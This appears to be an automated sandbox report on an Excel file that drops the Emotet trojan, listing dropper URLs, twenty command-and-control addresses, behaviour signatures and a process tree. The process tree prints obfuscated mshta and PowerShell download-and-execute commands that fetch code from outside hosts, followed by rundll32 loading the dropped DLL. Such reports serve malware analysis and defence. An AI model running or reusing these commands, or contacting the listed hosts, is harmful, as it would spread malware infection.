Analysis

  • max time kernel
    119s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20/01/2022, 23:05

General

  • Target
    ef8d87099d9cd8f996f887e282572845.xls
  • Size 70KB
  • Sample220120-22wfdacbeq
  • SHA256 f0589b8808bb3a0c95faf63a4ce880ec2494cc4a88cd487d509bc8fc78b24123
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fe2.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fe2.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ef8d87099d9cd8f996f887e282572845.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1696
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:668
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1488
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1368
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1160
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1196
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:888
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dcyfctsvsfsyaqan\nckwfxysxe.aro",yRsauKQVruerf
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1900
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dcyfctsvsfsyaqan\nckwfxysxe.aro",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1884

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/888-75-0x0000000000300000-0x0000000000326000-memory.dmp

        memory/888-77-0x0000000000360000-0x0000000000386000-memory.dmp

        memory/888-79-0x00000000005F0000-0x0000000000616000-memory.dmp

        memory/1368-61-0x00000000005F2000-0x00000000005F4000-memory.dmp

        memory/1368-60-0x00000000005F1000-0x00000000005F2000-memory.dmp

        memory/1368-59-0x00000000005F0000-0x00000000005F1000-memory.dmp

        memory/1696-57-0x0000000076001000-0x0000000076003000-memory.dmp

        memory/1696-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1696-55-0x0000000071CE1000-0x0000000071CE3000-memory.dmp

        memory/1696-54-0x000000002F171000-0x000000002F174000-memory.dmp

        memory/1696-113-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1884-93-0x00000000001A0000-0x00000000001C6000-memory.dmp

        memory/1884-95-0x0000000000650000-0x0000000000676000-memory.dmp

        memory/1884-97-0x00000000020F0000-0x0000000002116000-memory.dmp

        memory/1884-99-0x0000000002510000-0x0000000002536000-memory.dmp

        memory/1884-101-0x0000000002570000-0x0000000002596000-memory.dmp

        memory/1884-103-0x0000000002630000-0x0000000002656000-memory.dmp

        memory/1884-105-0x0000000002730000-0x0000000002756000-memory.dmp

        memory/1884-107-0x0000000002810000-0x0000000002836000-memory.dmp

        memory/1884-109-0x0000000002A00000-0x0000000002A26000-memory.dmp

        memory/1884-112-0x0000000002AB0000-0x0000000002AD6000-memory.dmp

        memory/1884-111-0x0000000002AB1000-0x0000000002AD3000-memory.dmp

        memory/1900-90-0x0000000000200000-0x0000000000226000-memory.dmp